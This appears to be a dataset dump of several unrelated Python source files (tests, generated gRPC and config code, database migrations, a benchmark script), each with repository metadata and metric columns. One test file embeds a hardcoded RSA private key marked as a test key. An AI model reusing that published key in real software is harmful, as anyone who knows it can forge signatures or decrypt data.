# by: The Resource Compiler for PySide (Qt v4.8.4)
#
# WARNING! All changes made in this file will be lost!
from python_qt_binding import QtCore
qt_resource_data = "\x00\x00\x02!\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x0... | 45,010.772727 | 969,391 | 0.742323 | 226,065 | 990,237 | 3.244987 | 0.072223 | 0.024308 | 0.015777 | 0.006036 | 0.238189 | 0.237251 | 0.235897 | 0.234406 | 0.229657 | 0.225806 | 0 | 0.250318 | 0.0018 | 990,237 | 21 | 969,392 | 47,154.142857 | 0.491828 | 0.000184 | 0 | 0 | 0 | 0.333333 | 0.999623 | 0.996344 | 0.111111 | 1 | 0.000008 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
ae12b16a600f5343ca75ee5e90d5f7094459df40 | 169 | py | Python | expyfun/_fixes.py | drammock/expyfun | b92bf5291318ee4cb1692e7bcb9757a422f48304 | [
"BSD-3-Clause"
] | 7 | 2015-09-27T23:54:07.000Z | 2022-01-17T01:12:12.000Z | expyfun/_fixes.py | drammock/expyfun | b92bf5291318ee4cb1692e7bcb9757a422f48304 | [
"BSD-3-Clause"
] | 218 | 2015-02-17T20:29:31.000Z | 2022-02-28T20:55:24.000Z | expyfun/_fixes.py | drammock/expyfun | b92bf5291318ee4cb1692e7bcb9757a422f48304 | [
"BSD-3-Clause"
] | 19 | 2015-02-19T18:43:43.000Z | 2021-11-12T23:13:12.000Z | # Prefer newest SciPy interface
try:
from scipy.fft import rfft, irfft, rfftfreq # noqa
except ImportError:
from numpy.fft import rfft, irfft, rfftfreq # noqa
| 28.166667 | 55 | 0.733728 | 23 | 169 | 5.391304 | 0.652174 | 0.145161 | 0.209677 | 0.290323 | 0.483871 | 0.483871 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201183 | 169 | 5 | 56 | 33.8 | 0.918519 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
88152cd2f99c5df21411368d31eb80118f62fa1c | 167 | py | Python | testsuite/N805_py38.py | danielpatrickdotdev/pep8-naming | 884f3c40880fcc4c4e3f83e0006f7ec4113213fe | [
"MIT"
] | 335 | 2015-12-18T00:05:05.000Z | 2022-03-30T09:40:56.000Z | testsuite/N805_py38.py | danielpatrickdotdev/pep8-naming | 884f3c40880fcc4c4e3f83e0006f7ec4113213fe | [
"MIT"
] | 118 | 2015-12-17T03:42:54.000Z | 2022-02-05T15:25:48.000Z | testsuite/N805_py38.py | danielpatrickdotdev/pep8-naming | 884f3c40880fcc4c4e3f83e0006f7ec4113213fe | [
"MIT"
] | 64 | 2015-12-28T11:46:52.000Z | 2022-03-23T09:45:42.000Z | # python_version >= '3.8'
#: Okay
class C:
def __init__(self, a, /, b=None):
pass
#: N805:2:18
class C:
def __init__(this, a, /, b=None):
pass
| 16.7 | 37 | 0.532934 | 26 | 167 | 3.076923 | 0.692308 | 0.15 | 0.225 | 0.325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067227 | 0.287425 | 167 | 9 | 38 | 18.555556 | 0.605042 | 0.239521 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 7 |
88294f0072bd2b0cdb220ba9d6e527209de79fc7 | 3,669 | py | Python | tests/test_decorator_anonymous_nested_classes.py | christianhelle/autofaker | d5395e8d22c5a1fc11ce7b3a22a5c46b52a2a188 | [
"MIT"
] | null | null | null | tests/test_decorator_anonymous_nested_classes.py | christianhelle/autofaker | d5395e8d22c5a1fc11ce7b3a22a5c46b52a2a188 | [
"MIT"
] | 1 | 2022-02-06T21:18:34.000Z | 2022-02-06T21:18:34.000Z | tests/test_decorator_anonymous_nested_classes.py | christianhelle/autofaker | d5395e8d22c5a1fc11ce7b3a22a5c46b52a2a188 | [
"MIT"
] | null | null | null | import unittest
from autofaker import autodata, fakedata
class SimpleClass:
id = -1
name = 'name'
text = 'test'
class NestedClass:
id = -1
name = 'name'
text = 'test'
inner = SimpleClass()
class DoubleNestedClass:
id = -1
name = 'name'
text = 'test'
inner = NestedClass... | 39.451613 | 117 | 0.763151 | 393 | 3,669 | 6.832061 | 0.109415 | 0.134078 | 0.193669 | 0.093855 | 0.828678 | 0.828678 | 0.810056 | 0.743389 | 0.724395 | 0.724395 | 0 | 0.000958 | 0.146089 | 3,669 | 92 | 118 | 39.880435 | 0.856049 | 0 | 0 | 0.623188 | 0 | 0 | 0.006541 | 0 | 0 | 0 | 0 | 0 | 0.376812 | 1 | 0.173913 | false | 0 | 0.028986 | 0 | 0.434783 | 0.014493 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8868686f68fd7c667926baf91d1f1f995e03d036 | 2,306 | py | Python | tests/key/rsa.py | No9005/jwt | 411e27819bb3603e3dca021775286f573562964d | [
"MIT"
] | null | null | null | tests/key/rsa.py | No9005/jwt | 411e27819bb3603e3dca021775286f573562964d | [
"MIT"
] | null | null | null | tests/key/rsa.py | No9005/jwt | 411e27819bb3603e3dca021775286f573562964d | [
"MIT"
] | null | null | null | """
File with rsa test keys.
CAUTION:
DO NOT USE THEM IN YOUR PRODUCTION
CODE!
"""
private = '-----BEGIN PRIVATE KEY-----\nMIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC7VJTUt9Us8cKj\nMzEfYyjiWA4R4/M2bS1GB4t7NXp98C3SC6dVMvDuictGeurT8jNbvJZHtCSuYEvu\nNMoSfm76oqFvAp8Gy0iz5sxjZmSnXyCdPEovGhLa0VzMaQ8s+CLOyS56YyCFGe... | 209.636364 | 1,748 | 0.921075 | 118 | 2,306 | 18 | 0.889831 | 0.009416 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127089 | 0.013877 | 2,306 | 11 | 1,749 | 209.636364 | 0.806948 | 0.032524 | 0 | 0 | 0 | 1 | 0.987854 | 0.954566 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
88b6eb53f178d86faba81a1c922a1ee67868559e | 18,836 | py | Python | pynos/versions/ver_7/ver_7_1_0/yang/brocade_intf_loopback.py | bdeetz/pynos | bd8a34e98f322de3fc06750827d8bbc3a0c00380 | [
"Apache-2.0"
] | 12 | 2015-09-21T23:56:09.000Z | 2018-03-30T04:35:32.000Z | pynos/versions/ver_7/ver_7_1_0/yang/brocade_intf_loopback.py | bdeetz/pynos | bd8a34e98f322de3fc06750827d8bbc3a0c00380 | [
"Apache-2.0"
] | 10 | 2016-09-15T19:03:27.000Z | 2017-07-17T23:38:01.000Z | pynos/versions/ver_7/ver_7_1_0/yang/brocade_intf_loopback.py | bdeetz/pynos | bd8a34e98f322de3fc06750827d8bbc3a0c00380 | [
"Apache-2.0"
] | 6 | 2015-08-14T08:05:23.000Z | 2022-02-03T15:33:54.000Z | #!/usr/bin/env python
import xml.etree.ElementTree as ET
class brocade_intf_loopback(object):
"""Auto generated class.
"""
def __init__(self, **kwargs):
self._callback = kwargs.pop('callback')
def hide_intf_loopback_holder_interface_loopback_id(self, **kwargs):
"""Auto Ge... | 52.177285 | 138 | 0.676311 | 2,217 | 18,836 | 5.523681 | 0.022553 | 0.154826 | 0.104524 | 0.14372 | 0.988731 | 0.988731 | 0.988731 | 0.988731 | 0.988731 | 0.988731 | 0 | 0.009801 | 0.198291 | 18,836 | 361 | 139 | 52.177285 | 0.801139 | 0.033287 | 0 | 0.985401 | 1 | 0 | 0.187693 | 0.104728 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076642 | false | 0 | 0.00365 | 0 | 0.156934 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ee5435324ce48ebdc6df1080a89047089fcca635 | 10,143 | py | Python | exabel_data_sdk/stubs/exabel/api/data/v1/data_set_service_pb2_grpc.py | aksestok/python-sdk | 520a3d9822ffa9a023262b379ea3b3d19cb10853 | [
"MIT"
] | 1 | 2021-12-22T11:23:57.000Z | 2021-12-22T11:23:57.000Z | exabel_data_sdk/stubs/exabel/api/data/v1/data_set_service_pb2_grpc.py | aksestok/python-sdk | 520a3d9822ffa9a023262b379ea3b3d19cb10853 | [
"MIT"
] | 18 | 2021-01-13T16:24:38.000Z | 2022-03-15T13:32:29.000Z | exabel_data_sdk/stubs/exabel/api/data/v1/data_set_service_pb2_grpc.py | aksestok/python-sdk | 520a3d9822ffa9a023262b379ea3b3d19cb10853 | [
"MIT"
] | 10 | 2021-01-11T13:24:51.000Z | 2021-12-17T20:53:06.000Z | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from exabel_data_sdk.stubs.exabel.api.data.v1 import data_set_messages_pb2 as exabel_dot_api_dot_data_dot_v1_dot_data__set__messages__pb2
from exabel_data_sdk.st... | 48.5311 | 138 | 0.699892 | 1,092 | 10,143 | 5.988095 | 0.105311 | 0.062089 | 0.053219 | 0.066524 | 0.841719 | 0.837284 | 0.814345 | 0.780242 | 0.728399 | 0.717388 | 0 | 0.010023 | 0.232771 | 10,143 | 208 | 139 | 48.764423 | 0.830249 | 0.052351 | 0 | 0.542683 | 1 | 0 | 0.083482 | 0.052963 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073171 | false | 0 | 0.02439 | 0.030488 | 0.146341 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ee76b884b070ad1b003a0d6b3f499b2affe26103 | 4,749 | py | Python | tests/test_roundtrip.py | h5preserve/h5preserve | c3840b26868d15dd8d14f99d1d188aa066c2bb84 | [
"BSD-3-Clause"
] | 2 | 2020-03-03T20:34:13.000Z | 2020-10-02T05:51:01.000Z | tests/test_roundtrip.py | h5preserve/h5preserve | c3840b26868d15dd8d14f99d1d188aa066c2bb84 | [
"BSD-3-Clause"
] | 178 | 2017-07-14T01:33:50.000Z | 2022-03-31T10:14:25.000Z | tests/test_roundtrip.py | h5preserve/h5preserve | c3840b26868d15dd8d14f99d1d188aa066c2bb84 | [
"BSD-3-Clause"
] | 2 | 2017-07-14T01:29:25.000Z | 2018-02-28T12:10:26.000Z | import pytest
import h5py
from h5preserve import open as hp_open, H5PreserveFile
@pytest.mark.roundtrip
def test_roundtrip(tmpdir, obj_registry):
tmpfile = str(tmpdir.join("test_roundtrip.h5"))
with hp_open(tmpfile, registries=obj_registry["registries"], mode='x') as f:
f["first"] = obj_registry["dump... | 38.298387 | 80 | 0.672773 | 562 | 4,749 | 5.370107 | 0.067616 | 0.17495 | 0.139165 | 0.151093 | 0.971504 | 0.971504 | 0.957256 | 0.945659 | 0.945659 | 0.945659 | 0 | 0.007527 | 0.216677 | 4,749 | 123 | 81 | 38.609756 | 0.803763 | 0 | 0 | 0.839623 | 0 | 0 | 0.134134 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 1 | 0.075472 | false | 0 | 0.028302 | 0 | 0.103774 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ee86ce3fadaa3bfb6ebdfd758f983d10a24616b0 | 46 | py | Python | pgen/testfn.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 739 | 2015-01-01T02:05:11.000Z | 2022-03-30T15:26:16.000Z | pgen/testfn.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 33 | 2015-03-25T23:17:04.000Z | 2021-08-19T08:25:22.000Z | pgen/testfn.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 167 | 2015-01-01T22:27:47.000Z | 2022-03-17T13:29:19.000Z | from la.de import *
def test(x):
return x
| 11.5 | 19 | 0.630435 | 9 | 46 | 3.222222 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 46 | 3 | 20 | 15.333333 | 0.852941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
a00278a0d47df67868998f0d5ddf8e3fcd8cd5a7 | 91 | py | Python | tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py | webcoast-dk/mitogen | a5fe4a9fac5561511b676fe61ed127b732be5b12 | [
"BSD-3-Clause"
] | 1,526 | 2017-09-15T18:49:40.000Z | 2021-01-17T16:04:12.000Z | tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py | webcoast-dk/mitogen | a5fe4a9fac5561511b676fe61ed127b732be5b12 | [
"BSD-3-Clause"
] | 682 | 2017-09-11T17:43:12.000Z | 2021-01-17T05:26:26.000Z | tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py | webcoast-dk/mitogen | a5fe4a9fac5561511b676fe61ed127b732be5b12 | [
"BSD-3-Clause"
] | 111 | 2017-09-15T23:21:37.000Z | 2021-01-01T14:45:35.000Z |
def path():
return "integration/module_utils/roles/modrole/module_utils/external2.py"
| 22.75 | 77 | 0.78022 | 12 | 91 | 5.75 | 0.833333 | 0.318841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012195 | 0.098901 | 91 | 3 | 78 | 30.333333 | 0.829268 | 0 | 0 | 0 | 0 | 0 | 0.711111 | 0.711111 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
a00b2a25d9ad53ebe372fb2aead4a6621f01af2d | 13,956 | py | Python | benchmarks/C/2d_Cl_transport_Clay/Nuklidtransport.py | GeoStat-Framework/ogs5py_benchmarks | 0b6db19b87cfad36459757f99ce2458f8e12b20b | [
"BSD-4-Clause"
] | 3 | 2019-01-15T17:38:11.000Z | 2020-01-07T23:44:12.000Z | benchmarks_FEM_active/C/2d_Cl_transport_Clay/Nuklidtransport.py | GeoStat-Framework/ogs5py_benchmarks | 0b6db19b87cfad36459757f99ce2458f8e12b20b | [
"BSD-4-Clause"
] | 1 | 2020-05-12T09:18:09.000Z | 2020-05-12T10:48:32.000Z | benchmarks/C/2d_Cl_transport_Clay/Nuklidtransport.py | GeoStat-Framework/ogs5py_benchmarks | 0b6db19b87cfad36459757f99ce2458f8e12b20b | [
"BSD-4-Clause"
] | 1 | 2020-01-08T13:28:50.000Z | 2020-01-08T13:28:50.000Z | # -*- coding: utf-8 -*-
from ogs5py import OGS
model = OGS(
task_root='Nuklidtransport_root',
task_id='Nuklidtransport',
output_dir='out',
)
model.msh.read_file('Nuklidtransport.msh')
model.gli.read_file('Nuklidtransport.gli')
model.pcs.add_block(
main_key='PROCESS',
PCS_TYPE='GROUNDWATER_FLOW',
... | 25.701657 | 54 | 0.535612 | 1,433 | 13,956 | 5.076762 | 0.237264 | 0.024192 | 0.036289 | 0.045361 | 0.87189 | 0.852371 | 0.842612 | 0.830241 | 0.818969 | 0.785842 | 0 | 0.473041 | 0.302307 | 13,956 | 542 | 55 | 25.749077 | 0.274109 | 0.001505 | 0 | 0.846296 | 0 | 0 | 0.073136 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.001852 | 0 | 0.001852 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4e7a719098ef6a1487af4c21fce69b05fcc5f274 | 16,667 | py | Python | code/command/command.py | mucsci-students/2020fa-420-CovidSurvivors | 416358301a274973ffc718c0cf7e48457119247f | [
"BSD-3-Clause"
] | 10 | 2020-09-02T16:12:57.000Z | 2021-06-26T09:38:09.000Z | code/command/command.py | mucsci-students/2020fa-420-CovidSurvivors | 416358301a274973ffc718c0cf7e48457119247f | [
"BSD-3-Clause"
] | 185 | 2020-09-02T16:18:28.000Z | 2020-12-07T03:15:57.000Z | code/command/command.py | mucsci-students/2020fa-420-CovidSurvivors | 416358301a274973ffc718c0cf7e48457119247f | [
"BSD-3-Clause"
] | null | null | null | # Command Design Pattern Implementation
# Description:
# This file follows the Command Design Pattern to separate the execution
# of commands
# Course: CSCI 420 - Software Engineering
# Authors: Adisa, Amy, Carli, David, Joan
# Date: October 16 2020
####################################################... | 36.792494 | 220 | 0.609588 | 1,921 | 16,667 | 5.187923 | 0.10203 | 0.166667 | 0.067429 | 0.084287 | 0.818483 | 0.804535 | 0.772125 | 0.743428 | 0.725768 | 0.68834 | 0 | 0.002176 | 0.228055 | 16,667 | 452 | 221 | 36.873894 | 0.772423 | 0.158517 | 0 | 0.766667 | 0 | 0.004762 | 0.157559 | 0.034305 | 0 | 0 | 0 | 0 | 0 | 1 | 0.190476 | false | 0.009524 | 0.009524 | 0.009524 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4eb9b27654ff4c4d646b1e55be7f6560b2dbd25a | 4,482 | py | Python | tests/test_features.py | mattdoug604/ensembl_map | 5edb8a48943df4b53effe3cd7ddf4d461fdd4bae | [
"MIT"
] | null | null | null | tests/test_features.py | mattdoug604/ensembl_map | 5edb8a48943df4b53effe3cd7ddf4d461fdd4bae | [
"MIT"
] | 1 | 2020-03-24T18:20:15.000Z | 2020-03-25T22:56:06.000Z | tests/test_features.py | mattdoug604/ensembl_map | 5edb8a48943df4b53effe3cd7ddf4d461fdd4bae | [
"MIT"
] | null | null | null | import unittest
from unittest.mock import MagicMock
from ensembl_map.features import CDS, Exon, Gene, Protein, Transcript
class TestCds(unittest.TestCase):
def setUp(self):
self.obj = MagicMock()
self.feature = CDS.load(self.obj, 1, 2)
def test_biotype(self):
self.assertEqual(self.fe... | 31.56338 | 88 | 0.695002 | 617 | 4,482 | 4.867099 | 0.076175 | 0.114219 | 0.215118 | 0.260406 | 0.835165 | 0.805195 | 0.759241 | 0.747586 | 0.747586 | 0.747586 | 0 | 0.006294 | 0.184739 | 4,482 | 141 | 89 | 31.787234 | 0.815545 | 0 | 0 | 0.552083 | 0 | 0 | 0.000892 | 0 | 0 | 0 | 0 | 0 | 0.354167 | 1 | 0.40625 | false | 0 | 0.03125 | 0 | 0.489583 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4ecdf62a09cb8430ff271e610b385bb2d00f40fc | 3,050 | py | Python | src/players/migrations/0009_auctionbaseballplayer.py | sfernandezf/analytics-yahoofantasy | 6242599b903e4b8a7f9c56892ba26591a441b8fb | [
"Apache-2.0"
] | null | null | null | src/players/migrations/0009_auctionbaseballplayer.py | sfernandezf/analytics-yahoofantasy | 6242599b903e4b8a7f9c56892ba26591a441b8fb | [
"Apache-2.0"
] | 6 | 2020-03-15T03:32:06.000Z | 2022-01-13T03:46:05.000Z | src/players/migrations/0009_auctionbaseballplayer.py | sfernandezf/analytics-yahoofantasy | 6242599b903e4b8a7f9c56892ba26591a441b8fb | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.0.3 on 2020-07-18 02:44
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('players', '0008_auto_20200717_0407'),
]
operations = [
migrations.CreateModel(
name='AuctionBas... | 62.244898 | 207 | 0.617377 | 336 | 3,050 | 5.508929 | 0.232143 | 0.207455 | 0.272285 | 0.324149 | 0.713128 | 0.713128 | 0.713128 | 0.713128 | 0.713128 | 0.713128 | 0 | 0.014031 | 0.228852 | 3,050 | 48 | 208 | 63.541667 | 0.772959 | 0.014754 | 0 | 0 | 1 | 0 | 0.1665 | 0.029304 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047619 | 0 | 0.119048 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4ed829cc6972de61554928484663e108cc38975a | 1,434 | py | Python | ckan/migration/versions/058_add_follower_tables.py | okfde/ckankrzn | df4c1ed624f6751ac2a8f03527ff19e448d27dfb | [
"Apache-2.0"
] | 4 | 2017-06-12T15:18:30.000Z | 2019-10-11T15:12:43.000Z | ckan/migration/versions/058_add_follower_tables.py | okfde/ckankrzn | df4c1ed624f6751ac2a8f03527ff19e448d27dfb | [
"Apache-2.0"
] | 64 | 2017-05-14T22:15:53.000Z | 2020-03-08T15:26:49.000Z | ckan/migration/versions/058_add_follower_tables.py | okfde/ckankrzn | df4c1ed624f6751ac2a8f03527ff19e448d27dfb | [
"Apache-2.0"
] | 5 | 2017-04-06T21:18:38.000Z | 2020-03-30T17:05:23.000Z | # encoding: utf-8
from sqlalchemy import *
from migrate import *
def upgrade(migrate_engine):
metadata = MetaData()
metadata.bind = migrate_engine
migrate_engine.execute('''
CREATE TABLE user_following_dataset (
follower_id text NOT NULL,
object_id text NOT NULL,
datetime timestamp without tim... | 35.85 | 143 | 0.799163 | 204 | 1,434 | 5.338235 | 0.210784 | 0.167126 | 0.132231 | 0.126722 | 0.85124 | 0.817264 | 0.817264 | 0.817264 | 0.754821 | 0.754821 | 0 | 0.000825 | 0.154812 | 1,434 | 39 | 144 | 36.769231 | 0.89769 | 0.01046 | 0 | 0.482759 | 0 | 0.103448 | 0.8765 | 0.201129 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0 | 0.068966 | 0 | 0.103448 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
117078a0d05fa85f94903ba52a39f8be14c68b49 | 40 | py | Python | src/lib/tempfile.py | DTenore/skulpt | 098d20acfb088d6db85535132c324b7ac2f2d212 | [
"MIT"
] | 2,671 | 2015-01-03T08:23:25.000Z | 2022-03-31T06:15:48.000Z | src/lib/tempfile.py | wakeupmuyunhe/skulpt | a8fb11a80fb6d7c016bab5dfe3712517a350b347 | [
"MIT"
] | 972 | 2015-01-05T08:11:00.000Z | 2022-03-29T13:47:15.000Z | src/lib/tempfile.py | wakeupmuyunhe/skulpt | a8fb11a80fb6d7c016bab5dfe3712517a350b347 | [
"MIT"
] | 845 | 2015-01-03T19:53:36.000Z | 2022-03-29T18:34:22.000Z | import _sk_fail; _sk_fail._("tempfile")
| 20 | 39 | 0.775 | 6 | 40 | 4.333333 | 0.666667 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075 | 40 | 1 | 40 | 40 | 0.702703 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
11b97e1f8a29f0759d028967d814cc7602599326 | 4,298 | py | Python | src/olympia/stats/management/commands/update_counts_by_app_from_hive.py | jpetto/olympia | f4e9badac9634657068dfbd4733ab5d17798e3f6 | [
"BSD-3-Clause"
] | 1 | 2015-10-29T06:55:20.000Z | 2015-10-29T06:55:20.000Z | apps/stats/management/commands/update_counts_by_app_from_hive.py | magopian/olympia | 70cad15111a89e3d5c715cbade8925b12d1b98dc | [
"BSD-3-Clause"
] | 5 | 2021-02-02T23:09:35.000Z | 2021-09-08T02:47:20.000Z | apps/stats/management/commands/update_counts_by_app_from_hive.py | magopian/olympia | 70cad15111a89e3d5c715cbade8925b12d1b98dc | [
"BSD-3-Clause"
] | null | null | null | # flake8: noqa
from . import HiveQueryToFileCommand
class Command(HiveQueryToFileCommand):
"""Query the "update counts by app" requests from HIVE, save to disk.
The data stored locally will then be processed by the
update_counts_from_file.py script.
Usage:
./manage.py update_counts_by_app_from_h... | 66.123077 | 264 | 0.608423 | 533 | 4,298 | 4.774859 | 0.219512 | 0.069155 | 0.121022 | 0.155599 | 0.774067 | 0.755992 | 0.755992 | 0.755992 | 0.755992 | 0.755992 | 0 | 0.011316 | 0.218706 | 4,298 | 64 | 265 | 67.15625 | 0.746575 | 0.119823 | 0 | 0.545455 | 0 | 0.227273 | 0.962687 | 0.196162 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.022727 | 0 | 0.113636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
eeb8e26284ec294895a73b81f5feb1786e1b1b85 | 3,781 | py | Python | tests/test_parse_entry.py | nejstastnejsistene/cron.py | bd87e0f2f9bb9c8e6483f222548dd48c03875fa2 | [
"BSD-2-Clause"
] | 1 | 2021-03-05T05:55:47.000Z | 2021-03-05T05:55:47.000Z | tests/test_parse_entry.py | nejstastnejsistene/cron.py | bd87e0f2f9bb9c8e6483f222548dd48c03875fa2 | [
"BSD-2-Clause"
] | null | null | null | tests/test_parse_entry.py | nejstastnejsistene/cron.py | bd87e0f2f9bb9c8e6483f222548dd48c03875fa2 | [
"BSD-2-Clause"
